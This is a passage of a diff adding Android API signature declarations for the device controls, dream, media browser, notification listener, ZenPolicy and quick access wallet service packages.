+    method @NonNull public android.service.controls.Control.StatelessBuilder setStructure(@Nullable CharSequence);
+    method @NonNull public android.service.controls.Control.StatelessBuilder setSubtitle(@NonNull CharSequence);
+    method @NonNull public android.service.controls.Control.StatelessBuilder setTitle(@NonNull CharSequence);
+    method @NonNull public android.service.controls.Control.StatelessBuilder setZone(@Nullable CharSequence);
+  }
+
+  public abstract class ControlsProviderService extends android.app.Service {
+    ctor public ControlsProviderService();
+    method @NonNull public abstract java.util.concurrent.Flow.Publisher<android.service.controls.Control> createPublisherFor(@NonNull java.util.List<java.lang.String>);
+    method @NonNull public abstract java.util.concurrent.Flow.Publisher<android.service.controls.Control> createPublisherForAllAvailable();
+    method @Nullable public java.util.concurrent.Flow.Publisher<android.service.controls.Control> createPublisherForSuggested();
+    method @NonNull public final android.os.IBinder onBind(@NonNull android.content.Intent);
+    method public final boolean onUnbind(@NonNull android.content.Intent);
+    method public abstract void performControlAction(@NonNull String, @NonNull android.service.controls.actions.ControlAction, @NonNull java.util.function.Consumer<java.lang.Integer>);
+    method public static void requestAddControl(@NonNull android.content.Context, @NonNull android.content.ComponentName, @NonNull android.service.controls.Control);
+    field public static final String SERVICE_CONTROLS = "android.service.controls.ControlsProviderService";
+    field @NonNull public static final String TAG = "ControlsProviderService";
+  }
+
+  public class DeviceTypes {
+    method public static boolean validDeviceType(int);
+    field public static final int TYPE_AC_HEATER = 1; // 0x1
+    field public static final int TYPE_AC_UNIT = 2; // 0x2
+    field public static final int TYPE_AIR_FRESHENER = 3; // 0x3
+    field public static final int TYPE_AIR_PURIFIER = 4; // 0x4
+    field public static final int TYPE_AWNING = 33; // 0x21
+    field public static final int TYPE_BLINDS = 34; // 0x22
+    field public static final int TYPE_CAMERA = 50; // 0x32
+    field public static final int TYPE_CLOSET = 35; // 0x23
+    field public static final int TYPE_COFFEE_MAKER = 5; // 0x5
+    field public static final int TYPE_CURTAIN = 36; // 0x24
+    field public static final int TYPE_DEHUMIDIFIER = 6; // 0x6
+    field public static final int TYPE_DISHWASHER = 24; // 0x18
+    field public static final int TYPE_DISPLAY = 7; // 0x7
+    field public static final int TYPE_DOOR = 37; // 0x25
+    field public static final int TYPE_DOORBELL = 51; // 0x33
+    field public static final int TYPE_DRAWER = 38; // 0x26
+    field public static final int TYPE_DRYER = 25; // 0x19
+    field public static final int TYPE_FAN = 8; // 0x8
+    field public static final int TYPE_GARAGE = 39; // 0x27
+    field public static final int TYPE_GATE = 40; // 0x28
+    field public static final int TYPE_GENERIC_ARM_DISARM = -5; // 0xfffffffb
+    field public static final int TYPE_GENERIC_LOCK_UNLOCK = -4; // 0xfffffffc
+    field public static final int TYPE_GENERIC_ON_OFF = -1; // 0xffffffff
+    field public static final int TYPE_GENERIC_OPEN_CLOSE = -3; // 0xfffffffd
+    field public static final int TYPE_GENERIC_START_STOP = -2; // 0xfffffffe
+    field public static final int TYPE_GENERIC_TEMP_SETTING = -6; // 0xfffffffa
+    field public static final int TYPE_GENERIC_VIEWSTREAM = -7; // 0xfffffff9
+    field public static final int TYPE_HEATER = 47; // 0x2f
+    field public static final int TYPE_HOOD = 10; // 0xa
+    field public static final int TYPE_HUMIDIFIER = 11; // 0xb
+    field public static final int TYPE_KETTLE = 12; // 0xc
+    field public static final int TYPE_LIGHT = 13; // 0xd
+    field public static final int TYPE_LOCK = 45; // 0x2d
+    field public static final int TYPE_MICROWAVE = 14; // 0xe
+    field public static final int TYPE_MOP = 26; // 0x1a
+    field public static final int TYPE_MOWER = 27; // 0x1b
+    field public static final int TYPE_MULTICOOKER = 28; // 0x1c
+    field public static final int TYPE_OUTLET = 15; // 0xf
+    field public static final int TYPE_PERGOLA = 41; // 0x29
+    field public static final int TYPE_RADIATOR = 16; // 0x10
+    field public static final int TYPE_REFRIGERATOR = 48; // 0x30
+    field public static final int TYPE_REMOTE_CONTROL = 17; // 0x11
+    field public static final int TYPE_ROUTINE = 52; // 0x34
+    field public static final int TYPE_SECURITY_SYSTEM = 46; // 0x2e
+    field public static final int TYPE_SET_TOP = 18; // 0x12
+    field public static final int TYPE_SHOWER = 29; // 0x1d
+    field public static final int TYPE_SHUTTER = 42; // 0x2a
+    field public static final int TYPE_SPRINKLER = 30; // 0x1e
+    field public static final int TYPE_STANDMIXER = 19; // 0x13
+    field public static final int TYPE_STYLER = 20; // 0x14
+    field public static final int TYPE_SWITCH = 21; // 0x15
+    field public static final int TYPE_THERMOSTAT = 49; // 0x31
+    field public static final int TYPE_TV = 22; // 0x16
+    field public static final int TYPE_UNKNOWN = 0; // 0x0
+    field public static final int TYPE_VACUUM = 32; // 0x20
+    field public static final int TYPE_VALVE = 44; // 0x2c
+    field public static final int TYPE_WASHER = 31; // 0x1f
+    field public static final int TYPE_WATER_HEATER = 23; // 0x17
+    field public static final int TYPE_WINDOW = 43; // 0x2b
+  }
+
+}
+
+package android.service.controls.actions {
+
+  public final class BooleanAction extends android.service.controls.actions.ControlAction {
+    ctor public BooleanAction(@NonNull String, boolean);
+    ctor public BooleanAction(@NonNull String, boolean, @Nullable String);
+    method public int getActionType();
+    method public boolean getNewState();
+  }
+
+  public final class CommandAction extends android.service.controls.actions.ControlAction {
+    ctor public CommandAction(@NonNull String, @Nullable String);
+    ctor public CommandAction(@NonNull String);
+    method public int getActionType();
+  }
+
+  public abstract class ControlAction {
+    method public abstract int getActionType();
+    method @Nullable public String getChallengeValue();
+    method @NonNull public static android.service.controls.actions.ControlAction getErrorAction();
+    method @NonNull public String getTemplateId();
+    method public static final boolean isValidResponse(int);
+    field public static final int RESPONSE_CHALLENGE_ACK = 3; // 0x3
+    field public static final int RESPONSE_CHALLENGE_PASSPHRASE = 5; // 0x5
+    field public static final int RESPONSE_CHALLENGE_PIN = 4; // 0x4
+    field public static final int RESPONSE_FAIL = 2; // 0x2
+    field public static final int RESPONSE_OK = 1; // 0x1
+    field public static final int RESPONSE_UNKNOWN = 0; // 0x0
+    field public static final int TYPE_BOOLEAN = 1; // 0x1
+    field public static final int TYPE_COMMAND = 5; // 0x5
+    field public static final int TYPE_ERROR = -1; // 0xffffffff
+    field public static final int TYPE_FLOAT = 2; // 0x2
+    field public static final int TYPE_MODE = 4; // 0x4
+  }
+
+  public final class FloatAction extends android.service.controls.actions.ControlAction {
+    ctor public FloatAction(@NonNull String, float);
+    ctor public FloatAction(@NonNull String, float, @Nullable String);
+    method public int getActionType();
+    method public float getNewValue();
+  }
+
+  public final class ModeAction extends android.service.controls.actions.ControlAction {
+    ctor public ModeAction(@NonNull String, int, @Nullable String);
+    ctor public ModeAction(@NonNull String, int);
+    method public int getActionType();
+    method public int getNewMode();
+  }
+
+}
+
+package android.service.controls.templates {
+
+  public final class ControlButton implements android.os.Parcelable {
+    ctor public ControlButton(boolean, @NonNull CharSequence);
+    method public int describeContents();
+    method @NonNull public CharSequence getActionDescription();
+    method public boolean isChecked();
+    method @NonNull public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.controls.templates.ControlButton> CREATOR;
+  }
+
+  public abstract class ControlTemplate {
+    method @NonNull public static android.service.controls.templates.ControlTemplate getErrorTemplate();
+    method @NonNull public static android.service.controls.templates.ControlTemplate getNoTemplateObject();
+    method @NonNull public String getTemplateId();
+    method public abstract int getTemplateType();
+    field public static final int TYPE_ERROR = -1; // 0xffffffff
+    field public static final int TYPE_NO_TEMPLATE = 0; // 0x0
+    field public static final int TYPE_RANGE = 2; // 0x2
+    field public static final int TYPE_STATELESS = 8; // 0x8
+    field public static final int TYPE_TEMPERATURE = 7; // 0x7
+    field public static final int TYPE_THUMBNAIL = 3; // 0x3
+    field public static final int TYPE_TOGGLE = 1; // 0x1
+    field public static final int TYPE_TOGGLE_RANGE = 6; // 0x6
+  }
+
+  public final class RangeTemplate extends android.service.controls.templates.ControlTemplate {
+    ctor public RangeTemplate(@NonNull String, float, float, float, float, @Nullable CharSequence);
+    method public float getCurrentValue();
+    method @NonNull public CharSequence getFormatString();
+    method public float getMaxValue();
+    method public float getMinValue();
+    method public float getStepValue();
+    method public int getTemplateType();
+  }
+
+  public final class StatelessTemplate extends android.service.controls.templates.ControlTemplate {
+    ctor public StatelessTemplate(@NonNull String);
+    method public int getTemplateType();
+  }
+
+  public final class TemperatureControlTemplate extends android.service.controls.templates.ControlTemplate {
+    ctor public TemperatureControlTemplate(@NonNull String, @NonNull android.service.controls.templates.ControlTemplate, int, int, int);
+    method public int getCurrentActiveMode();
+    method public int getCurrentMode();
+    method public int getModes();
+    method @NonNull public android.service.controls.templates.ControlTemplate getTemplate();
+    method public int getTemplateType();
+    field public static final int FLAG_MODE_COOL = 8; // 0x8
+    field public static final int FLAG_MODE_ECO = 32; // 0x20
+    field public static final int FLAG_MODE_HEAT = 4; // 0x4
+    field public static final int FLAG_MODE_HEAT_COOL = 16; // 0x10
+    field public static final int FLAG_MODE_OFF = 2; // 0x2
+    field public static final int MODE_COOL = 3; // 0x3
+    field public static final int MODE_ECO = 5; // 0x5
+    field public static final int MODE_HEAT = 2; // 0x2
+    field public static final int MODE_HEAT_COOL = 4; // 0x4
+    field public static final int MODE_OFF = 1; // 0x1
+    field public static final int MODE_UNKNOWN = 0; // 0x0
+  }
+
+  public final class ThumbnailTemplate extends android.service.controls.templates.ControlTemplate {
+    ctor public ThumbnailTemplate(@NonNull String, boolean, @NonNull android.graphics.drawable.Icon, @NonNull CharSequence);
+    method @NonNull public CharSequence getContentDescription();
+    method public int getTemplateType();
+    method @NonNull public android.graphics.drawable.Icon getThumbnail();
+    method public boolean isActive();
+  }
+
+  public final class ToggleRangeTemplate extends android.service.controls.templates.ControlTemplate {
+    ctor public ToggleRangeTemplate(@NonNull String, @NonNull android.service.controls.templates.ControlButton, @NonNull android.service.controls.templates.RangeTemplate);
+    ctor public ToggleRangeTemplate(@NonNull String, boolean, @NonNull CharSequence, @NonNull android.service.controls.templates.RangeTemplate);
+    method @NonNull public CharSequence getActionDescription();
+    method @NonNull public android.service.controls.templates.RangeTemplate getRange();
+    method public int getTemplateType();
+    method public boolean isChecked();
+  }
+
+  public final class ToggleTemplate extends android.service.controls.templates.ControlTemplate {
+    ctor public ToggleTemplate(@NonNull String, @NonNull android.service.controls.templates.ControlButton);
+    method @NonNull public CharSequence getContentDescription();
+    method public int getTemplateType();
+    method public boolean isChecked();
+  }
+
+}
+
+package android.service.dreams {
+
+  public class DreamService extends android.app.Service implements android.view.Window.Callback {
+    ctor public DreamService();
+    method public void addContentView(android.view.View, android.view.ViewGroup.LayoutParams);
+    method public boolean dispatchGenericMotionEvent(android.view.MotionEvent);
+    method public boolean dispatchKeyEvent(android.view.KeyEvent);
+    method public boolean dispatchKeyShortcutEvent(android.view.KeyEvent);
+    method public boolean dispatchPopulateAccessibilityEvent(android.view.accessibility.AccessibilityEvent);
+    method public boolean dispatchTouchEvent(android.view.MotionEvent);
+    method public boolean dispatchTrackballEvent(android.view.MotionEvent);
+    method public <T extends android.view.View> T findViewById(@IdRes int);
+    method public final void finish();
+    method public android.view.Window getWindow();
+    method public android.view.WindowManager getWindowManager();
+    method public boolean isFullscreen();
+    method public boolean isInteractive();
+    method public boolean isScreenBright();
+    method public void onActionModeFinished(android.view.ActionMode);
+    method public void onActionModeStarted(android.view.ActionMode);
+    method public void onAttachedToWindow();
+    method public final android.os.IBinder onBind(android.content.Intent);
+    method public void onContentChanged();
+    method public boolean onCreatePanelMenu(int, android.view.Menu);
+    method public android.view.View onCreatePanelView(int);
+    method public void onDetachedFromWindow();
+    method public void onDreamingStarted();
+    method public void onDreamingStopped();
+    method public boolean onMenuItemSelected(int, android.view.MenuItem);
+    method public boolean onMenuOpened(int, android.view.Menu);
+    method public void onPanelClosed(int, android.view.Menu);
+    method public boolean onPreparePanel(int, android.view.View, android.view.Menu);
+    method public boolean onSearchRequested(android.view.SearchEvent);
+    method public boolean onSearchRequested();
+    method public void onWakeUp();
+    method public void onWindowAttributesChanged(android.view.WindowManager.LayoutParams);
+    method public void onWindowFocusChanged(boolean);
+    method public android.view.ActionMode onWindowStartingActionMode(android.view.ActionMode.Callback);
+    method public android.view.ActionMode onWindowStartingActionMode(android.view.ActionMode.Callback, int);
+    method @NonNull public final <T extends android.view.View> T requireViewById(@IdRes int);
+    method public void setContentView(@LayoutRes int);
+    method public void setContentView(android.view.View);
+    method public void setContentView(android.view.View, android.view.ViewGroup.LayoutParams);
+    method public void setFullscreen(boolean);
+    method public void setInteractive(boolean);
+    method public void setScreenBright(boolean);
+    method public final void wakeUp();
+    field public static final String DREAM_META_DATA = "android.service.dream";
+    field public static final String SERVICE_INTERFACE = "android.service.dreams.DreamService";
+  }
+
+}
+
+package android.service.media {
+
+  public abstract class CameraPrewarmService extends android.app.Service {
+    ctor public CameraPrewarmService();
+    method public android.os.IBinder onBind(android.content.Intent);
+    method public abstract void onCooldown(boolean);
+    method public abstract void onPrewarm();
+  }
+
+  public abstract class MediaBrowserService extends android.app.Service {
+    ctor public MediaBrowserService();
+    method public void dump(java.io.FileDescriptor, java.io.PrintWriter, String[]);
+    method public final android.os.Bundle getBrowserRootHints();
+    method public final android.media.session.MediaSessionManager.RemoteUserInfo getCurrentBrowserInfo();
+    method @Nullable public android.media.session.MediaSession.Token getSessionToken();
+    method public void notifyChildrenChanged(@NonNull String);
+    method public void notifyChildrenChanged(@NonNull String, @NonNull android.os.Bundle);
+    method public android.os.IBinder onBind(android.content.Intent);
+    method @Nullable public abstract android.service.media.MediaBrowserService.BrowserRoot onGetRoot(@NonNull String, int, @Nullable android.os.Bundle);
+    method public abstract void onLoadChildren(@NonNull String, @NonNull android.service.media.MediaBrowserService.Result<java.util.List<android.media.browse.MediaBrowser.MediaItem>>);
+    method public void onLoadChildren(@NonNull String, @NonNull android.service.media.MediaBrowserService.Result<java.util.List<android.media.browse.MediaBrowser.MediaItem>>, @NonNull android.os.Bundle);
+    method public void onLoadItem(String, android.service.media.MediaBrowserService.Result<android.media.browse.MediaBrowser.MediaItem>);
+    method public void setSessionToken(android.media.session.MediaSession.Token);
+    field public static final String SERVICE_INTERFACE = "android.media.browse.MediaBrowserService";
+  }
+
+  public static final class MediaBrowserService.BrowserRoot {
+    ctor public MediaBrowserService.BrowserRoot(@NonNull String, @Nullable android.os.Bundle);
+    method public android.os.Bundle getExtras();
+    method public String getRootId();
+    field public static final String EXTRA_OFFLINE = "android.service.media.extra.OFFLINE";
+    field public static final String EXTRA_RECENT = "android.service.media.extra.RECENT";
+    field public static final String EXTRA_SUGGESTED = "android.service.media.extra.SUGGESTED";
+  }
+
+  public class MediaBrowserService.Result<T> {
+    method public void detach();
+    method public void sendResult(T);
+  }
+
+}
+
+package android.service.notification {
+
+  public final class Condition implements android.os.Parcelable {
+    ctor public Condition(android.net.Uri, String, int);
+    ctor public Condition(android.net.Uri, String, String, String, int, int, int);
+    ctor public Condition(android.os.Parcel);
+    method public android.service.notification.Condition copy();
+    method public int describeContents();
+    method public static boolean isValidId(android.net.Uri, String);
+    method public static android.net.Uri.Builder newId(android.content.Context);
+    method public static String relevanceToString(int);
+    method public static String stateToString(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.notification.Condition> CREATOR;
+    field public static final int FLAG_RELEVANT_ALWAYS = 2; // 0x2
+    field public static final int FLAG_RELEVANT_NOW = 1; // 0x1
+    field public static final String SCHEME = "condition";
+    field public static final int STATE_ERROR = 3; // 0x3
+    field public static final int STATE_FALSE = 0; // 0x0
+    field public static final int STATE_TRUE = 1; // 0x1
+    field public static final int STATE_UNKNOWN = 2; // 0x2
+    field public final int flags;
+    field public final int icon;
+    field public final android.net.Uri id;
+    field public final String line1;
+    field public final String line2;
+    field public final int state;
+    field public final String summary;
+  }
+
+  @Deprecated public abstract class ConditionProviderService extends android.app.Service {
+    ctor @Deprecated public ConditionProviderService();
+    method @Deprecated public final void notifyCondition(android.service.notification.Condition);
+    method @Deprecated public final void notifyConditions(android.service.notification.Condition...);
+    method @Deprecated public android.os.IBinder onBind(android.content.Intent);
+    method @Deprecated public abstract void onConnected();
+    method @Deprecated public void onRequestConditions(int);
+    method @Deprecated public abstract void onSubscribe(android.net.Uri);
+    method @Deprecated public abstract void onUnsubscribe(android.net.Uri);
+    method @Deprecated public static final void requestRebind(android.content.ComponentName);
+    method @Deprecated public final void requestUnbind();
+    field @Deprecated public static final String EXTRA_RULE_ID = "android.service.notification.extra.RULE_ID";
+    field @Deprecated public static final String META_DATA_CONFIGURATION_ACTIVITY = "android.service.zen.automatic.configurationActivity";
+    field @Deprecated public static final String META_DATA_RULE_INSTANCE_LIMIT = "android.service.zen.automatic.ruleInstanceLimit";
+    field @Deprecated public static final String META_DATA_RULE_TYPE = "android.service.zen.automatic.ruleType";
+    field @Deprecated public static final String SERVICE_INTERFACE = "android.service.notification.ConditionProviderService";
+  }
+
+  public abstract class NotificationListenerService extends android.app.Service {
+    ctor public NotificationListenerService();
+    method public final void cancelAllNotifications();
+    method @Deprecated public final void cancelNotification(String, String, int);
+    method public final void cancelNotification(String);
+    method public final void cancelNotifications(String[]);
+    method public final void clearRequestedListenerHints();
+    method public android.service.notification.StatusBarNotification[] getActiveNotifications();
+    method public android.service.notification.StatusBarNotification[] getActiveNotifications(String[]);
+    method public final int getCurrentInterruptionFilter();
+    method public final int getCurrentListenerHints();
+    method public android.service.notification.NotificationListenerService.RankingMap getCurrentRanking();
+    method public final java.util.List<android.app.NotificationChannelGroup> getNotificationChannelGroups(@NonNull String, @NonNull android.os.UserHandle);
+    method public final java.util.List<android.app.NotificationChannel> getNotificationChannels(@NonNull String, @NonNull android.os.UserHandle);
+    method public final android.service.notification.StatusBarNotification[] getSnoozedNotifications();
+    method public final void migrateNotificationFilter(int, @Nullable java.util.List<java.lang.String>);
+    method public android.os.IBinder onBind(android.content.Intent);
+    method public void onInterruptionFilterChanged(int);
+    method public void onListenerConnected();
+    method public void onListenerDisconnected();
+    method public void onListenerHintsChanged(int);
+    method public void onNotificationChannelGroupModified(String, android.os.UserHandle, android.app.NotificationChannelGroup, int);
+    method public void onNotificationChannelModified(String, android.os.UserHandle, android.app.NotificationChannel, int);
+    method public void onNotificationPosted(android.service.notification.StatusBarNotification);
+    method public void onNotificationPosted(android.service.notification.StatusBarNotification, android.service.notification.NotificationListenerService.RankingMap);
+    method public void onNotificationRankingUpdate(android.service.notification.NotificationListenerService.RankingMap);
+    method public void onNotificationRemoved(android.service.notification.StatusBarNotification);
+    method public void onNotificationRemoved(android.service.notification.StatusBarNotification, android.service.notification.NotificationListenerService.RankingMap);
+    method public void onNotificationRemoved(android.service.notification.StatusBarNotification, android.service.notification.NotificationListenerService.RankingMap, int);
+    method public void onSilentStatusBarIconsVisibilityChanged(boolean);
+    method public final void requestInterruptionFilter(int);
+    method public final void requestListenerHints(int);
+    method public static void requestRebind(android.content.ComponentName);
+    method public final void requestUnbind();
+    method public final void setNotificationsShown(String[]);
+    method public final void snoozeNotification(String, long);
+    method public final void updateNotificationChannel(@NonNull String, @NonNull android.os.UserHandle, @NonNull android.app.NotificationChannel);
+    field public static final int FLAG_FILTER_TYPE_ALERTING = 2; // 0x2
+    field public static final int FLAG_FILTER_TYPE_CONVERSATIONS = 1; // 0x1
+    field public static final int FLAG_FILTER_TYPE_ONGOING = 8; // 0x8
+    field public static final int FLAG_FILTER_TYPE_SILENT = 4; // 0x4
+    field public static final int HINT_HOST_DISABLE_CALL_EFFECTS = 4; // 0x4
+    field public static final int HINT_HOST_DISABLE_EFFECTS = 1; // 0x1
+    field public static final int HINT_HOST_DISABLE_NOTIFICATION_EFFECTS = 2; // 0x2
+    field public static final int INTERRUPTION_FILTER_ALARMS = 4; // 0x4
+    field public static final int INTERRUPTION_FILTER_ALL = 1; // 0x1
+    field public static final int INTERRUPTION_FILTER_NONE = 3; // 0x3
+    field public static final int INTERRUPTION_FILTER_PRIORITY = 2; // 0x2
+    field public static final int INTERRUPTION_FILTER_UNKNOWN = 0; // 0x0
+    field public static final String META_DATA_DEFAULT_FILTER_TYPES = "android.service.notification.default_filter_types";
+    field public static final String META_DATA_DISABLED_FILTER_TYPES = "android.service.notification.disabled_filter_types";
+    field public static final int NOTIFICATION_CHANNEL_OR_GROUP_ADDED = 1; // 0x1
+    field public static final int NOTIFICATION_CHANNEL_OR_GROUP_DELETED = 3; // 0x3
+    field public static final int NOTIFICATION_CHANNEL_OR_GROUP_UPDATED = 2; // 0x2
+    field public static final int REASON_APP_CANCEL = 8; // 0x8
+    field public static final int REASON_APP_CANCEL_ALL = 9; // 0x9
+    field public static final int REASON_CANCEL = 2; // 0x2
+    field public static final int REASON_CANCEL_ALL = 3; // 0x3
+    field public static final int REASON_CHANNEL_BANNED = 17; // 0x11
+    field public static final int REASON_CHANNEL_REMOVED = 20; // 0x14
+    field public static final int REASON_CLEAR_DATA = 21; // 0x15
+    field public static final int REASON_CLICK = 1; // 0x1
+    field public static final int REASON_ERROR = 4; // 0x4
+    field public static final int REASON_GROUP_OPTIMIZATION = 13; // 0xd
+    field public static final int REASON_GROUP_SUMMARY_CANCELED = 12; // 0xc
+    field public static final int REASON_LISTENER_CANCEL = 10; // 0xa
+    field public static final int REASON_LISTENER_CANCEL_ALL = 11; // 0xb
+    field public static final int REASON_PACKAGE_BANNED = 7; // 0x7
+    field public static final int REASON_PACKAGE_CHANGED = 5; // 0x5
+    field public static final int REASON_PACKAGE_SUSPENDED = 14; // 0xe
+    field public static final int REASON_PROFILE_TURNED_OFF = 15; // 0xf
+    field public static final int REASON_SNOOZED = 18; // 0x12
+    field public static final int REASON_TIMEOUT = 19; // 0x13
+    field public static final int REASON_UNAUTOBUNDLED = 16; // 0x10
+    field public static final int REASON_USER_STOPPED = 6; // 0x6
+    field public static final String SERVICE_INTERFACE = "android.service.notification.NotificationListenerService";
+    field @Deprecated public static final int SUPPRESSED_EFFECT_SCREEN_OFF = 1; // 0x1
+    field @Deprecated public static final int SUPPRESSED_EFFECT_SCREEN_ON = 2; // 0x2
+  }
+
+  public static class NotificationListenerService.Ranking {
+    ctor public NotificationListenerService.Ranking();
+    method public boolean canBubble();
+    method public boolean canShowBadge();
+    method public android.app.NotificationChannel getChannel();
+    method @Nullable public android.content.pm.ShortcutInfo getConversationShortcutInfo();
+    method public int getImportance();
+    method public CharSequence getImportanceExplanation();
+    method public String getKey();
+    method public long getLastAudiblyAlertedMillis();
+    method public int getLockscreenVisibilityOverride();
+    method public String getOverrideGroupKey();
+    method public int getRank();
+    method @NonNull public java.util.List<android.app.Notification.Action> getSmartActions();
+    method @NonNull public java.util.List<java.lang.CharSequence> getSmartReplies();
+    method public int getSuppressedVisualEffects();
+    method public int getUserSentiment();
+    method public boolean isAmbient();
+    method public boolean isConversation();
+    method public boolean isSuspended();
+    method public boolean matchesInterruptionFilter();
+    field public static final int USER_SENTIMENT_NEGATIVE = -1; // 0xffffffff
+    field public static final int USER_SENTIMENT_NEUTRAL = 0; // 0x0
+    field public static final int USER_SENTIMENT_POSITIVE = 1; // 0x1
+    field public static final int VISIBILITY_NO_OVERRIDE = -1000; // 0xfffffc18
+  }
+
+  public static class NotificationListenerService.RankingMap implements android.os.Parcelable {
+    method public int describeContents();
+    method public String[] getOrderedKeys();
+    method public boolean getRanking(String, android.service.notification.NotificationListenerService.Ranking);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.notification.NotificationListenerService.RankingMap> CREATOR;
+  }
+
+  public class StatusBarNotification implements android.os.Parcelable {
+    ctor @Deprecated public StatusBarNotification(String, String, int, String, int, int, int, android.app.Notification, android.os.UserHandle, long);
+    ctor public StatusBarNotification(android.os.Parcel);
+    method public android.service.notification.StatusBarNotification clone();
+    method public int describeContents();
+    method public String getGroupKey();
+    method public int getId();
+    method public String getKey();
+    method public android.app.Notification getNotification();
+    method @NonNull public String getOpPkg();
+    method public String getOverrideGroupKey();
+    method public String getPackageName();
+    method public long getPostTime();
+    method public String getTag();
+    method public int getUid();
+    method public android.os.UserHandle getUser();
+    method @Deprecated public int getUserId();
+    method public boolean isAppGroup();
+    method public boolean isClearable();
+    method public boolean isGroup();
+    method public boolean isOngoing();
+    method public void setOverrideGroupKey(String);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.notification.StatusBarNotification> CREATOR;
+  }
+
+  public final class ZenPolicy implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getPriorityCallSenders();
+    method public int getPriorityCategoryAlarms();
+    method public int getPriorityCategoryCalls();
+    method public int getPriorityCategoryConversations();
+    method public int getPriorityCategoryEvents();
+    method public int getPriorityCategoryMedia();
+    method public int getPriorityCategoryMessages();
+    method public int getPriorityCategoryReminders();
+    method public int getPriorityCategoryRepeatCallers();
+    method public int getPriorityCategorySystem();
+    method public int getPriorityConversationSenders();
+    method public int getPriorityMessageSenders();
+    method public int getVisualEffectAmbient();
+    method public int getVisualEffectBadge();
+    method public int getVisualEffectFullScreenIntent();
+    method public int getVisualEffectLights();
+    method public int getVisualEffectNotificationList();
+    method public int getVisualEffectPeek();
+    method public int getVisualEffectStatusBar();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int CONVERSATION_SENDERS_ANYONE = 1; // 0x1
+    field public static final int CONVERSATION_SENDERS_IMPORTANT = 2; // 0x2
+    field public static final int CONVERSATION_SENDERS_NONE = 3; // 0x3
+    field public static final int CONVERSATION_SENDERS_UNSET = 0; // 0x0
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.notification.ZenPolicy> CREATOR;
+    field public static final int PEOPLE_TYPE_ANYONE = 1; // 0x1
+    field public static final int PEOPLE_TYPE_CONTACTS = 2; // 0x2
+    field public static final int PEOPLE_TYPE_NONE = 4; // 0x4
+    field public static final int PEOPLE_TYPE_STARRED = 3; // 0x3
+    field public static final int PEOPLE_TYPE_UNSET = 0; // 0x0
+    field public static final int STATE_ALLOW = 1; // 0x1
+    field public static final int STATE_DISALLOW = 2; // 0x2
+    field public static final int STATE_UNSET = 0; // 0x0
+  }
+
+  public static final class ZenPolicy.Builder {
+    ctor public ZenPolicy.Builder();
+    method @NonNull public android.service.notification.ZenPolicy.Builder allowAlarms(boolean);
+    method @NonNull public android.service.notification.ZenPolicy.Builder allowAllSounds();
+    method @NonNull public android.service.notification.ZenPolicy.Builder allowCalls(int);
+    method @NonNull public android.service.notification.ZenPolicy.Builder allowConversations(int);
+    method @NonNull public android.service.notification.ZenPolicy.Builder allowEvents(boolean);
+    method @NonNull public android.service.notification.ZenPolicy.Builder allowMedia(boolean);
+    method @NonNull public android.service.notification.ZenPolicy.Builder allowMessages(int);
+    method @NonNull public android.service.notification.ZenPolicy.Builder allowReminders(boolean);
+    method @NonNull public android.service.notification.ZenPolicy.Builder allowRepeatCallers(boolean);
+    method @NonNull public android.service.notification.ZenPolicy.Builder allowSystem(boolean);
+    method @NonNull public android.service.notification.ZenPolicy build();
+    method @NonNull public android.service.notification.ZenPolicy.Builder disallowAllSounds();
+    method @NonNull public android.service.notification.ZenPolicy.Builder hideAllVisualEffects();
+    method @NonNull public android.service.notification.ZenPolicy.Builder showAllVisualEffects();
+    method @NonNull public android.service.notification.ZenPolicy.Builder showBadges(boolean);
+    method @NonNull public android.service.notification.ZenPolicy.Builder showFullScreenIntent(boolean);
+    method @NonNull public android.service.notification.ZenPolicy.Builder showInAmbientDisplay(boolean);
+    method @NonNull public android.service.notification.ZenPolicy.Builder showInNotificationList(boolean);
+    method @NonNull public android.service.notification.ZenPolicy.Builder showLights(boolean);
+    method @NonNull public android.service.notification.ZenPolicy.Builder showPeeking(boolean);
+    method @NonNull public android.service.notification.ZenPolicy.Builder showStatusBarIcons(boolean);
+  }
+
+}
+
+package android.service.quickaccesswallet {
+
+  public interface GetWalletCardsCallback {
+    method public void onFailure(@NonNull android.service.quickaccesswallet.GetWalletCardsError);
+    method public void onSuccess(@NonNull android.service.quickaccesswallet.GetWalletCardsResponse);
+  }
+
+  public final class GetWalletCardsError implements android.os.Parcelable {
+    ctor public GetWalletCardsError(@Nullable android.graphics.drawable.Icon, @Nullable CharSequence);
+    method public int describeContents();
+    method @Nullable public android.graphics.drawable.Icon getIcon();
+    method @Nullable public CharSequence getMessage();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.quickaccesswallet.GetWalletCardsError> CREATOR;
+  }
+
+  public final class GetWalletCardsRequest implements android.os.Parcelable {
+    ctor public GetWalletCardsRequest(int, int, int, int);
+    method public int describeContents();
+    method public int getCardHeightPx();
+    method public int getCardWidthPx();
+    method public int getIconSizePx();
+    method public int getMaxCards();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.quickaccesswallet.GetWalletCardsRequest> CREATOR;
+  }
+
+  public final class GetWalletCardsResponse implements android.os.Parcelable {
+    ctor public GetWalletCardsResponse(@NonNull java.util.List<android.service.quickaccesswallet.WalletCard>, int);
+    method public int describeContents();
+    method public int getSelectedIndex();
+    method @NonNull public java.util.List<android.service.quickaccesswallet.WalletCard> getWalletCards();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.quickaccesswallet.GetWalletCardsResponse> CREATOR;
+  }
+
+  public abstract class QuickAccessWalletService extends android.app.Service {
+    ctor public QuickAccessWalletService();
+    method @Nullable public android.os.IBinder onBind(@NonNull android.content.Intent);
+    method public abstract void onWalletCardSelected(@NonNull android.service.quickaccesswallet.SelectWalletCardRequest);
+    method public abstract void onWalletCardsRequested(@NonNull android.service.quickaccesswallet.GetWalletCardsRequest, @NonNull android.service.quickaccesswallet.GetWalletCardsCallback);
